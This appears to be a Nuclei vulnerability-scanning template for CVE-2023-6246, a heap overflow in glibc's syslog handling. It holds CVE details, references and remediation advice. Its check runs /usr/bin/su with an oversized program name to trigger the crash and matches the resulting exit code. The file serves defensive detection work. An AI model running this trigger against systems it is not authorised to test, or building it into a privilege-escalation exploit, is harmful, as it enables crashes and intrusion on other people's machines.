id: CVE-2023-6246

info:
  name: glibc's syslog - Local Privilege Escalation
  author: gy741
  severity: high
  description: |
    A heap-based buffer overflow was found in the __vsyslog_internal function of the glibc library. This function is called by the syslog and vsyslog functions. This issue occurs when the openlog function was not called, or called with the ident argument set to NULL, and the program name (the basename of argv[0]) is bigger than 1024 bytes, resulting in an application crash or local privilege escalation. This issue affects glibc 2.36 and newer.
  remediation: |
    Upgrade glibc to version 2.37 or later that properly handles program name buffer sizes in __vsyslog_internal.
  impact: |
    Local attackers can cause application crashes or escalate privileges through buffer overflow exploitation.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-6246
    - https://www.qualys.com/2024/01/30/cve-2023-6246/syslog.txt
    - https://access.redhat.com/security/cve/CVE-2023-6246
    - https://bugzilla.redhat.com/show_bug.cgi?id=2249053
    - https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/D2FIH77VHY3KCRROCXOT6L27WMZXSJ2G/
  classification:
    cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.8
    cve-id: CVE-2023-6246
    cwe-id: CWE-787,CWE-122
    epss-score: 0.04794
    epss-percentile: 0.91052
    cpe: cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: gnu
    product: glibc
  tags: cve,cve2023,code,glibc,linux,privesc,local,gnu,vuln

self-contained: true
code:
  - engine:
      - sh
      - bash
    source: |
      (exec -a "`printf '%0128000x' 1`" /usr/bin/su < /dev/null)
      echo $?

    matchers:
      - type: word
        words:
          - "127"     # Segmentation Fault Exit Code
# digest: 490a0046304402203cecf36d58f3445cca457cefc22b797709ffb6dc827fc31207f29666d32f09610220486d4b6eb64cd1502dde4c56f2ab194e7f944ffafbd84e2a075a5db6c7bddea1:922c64590222798bb761d5b6d8e72950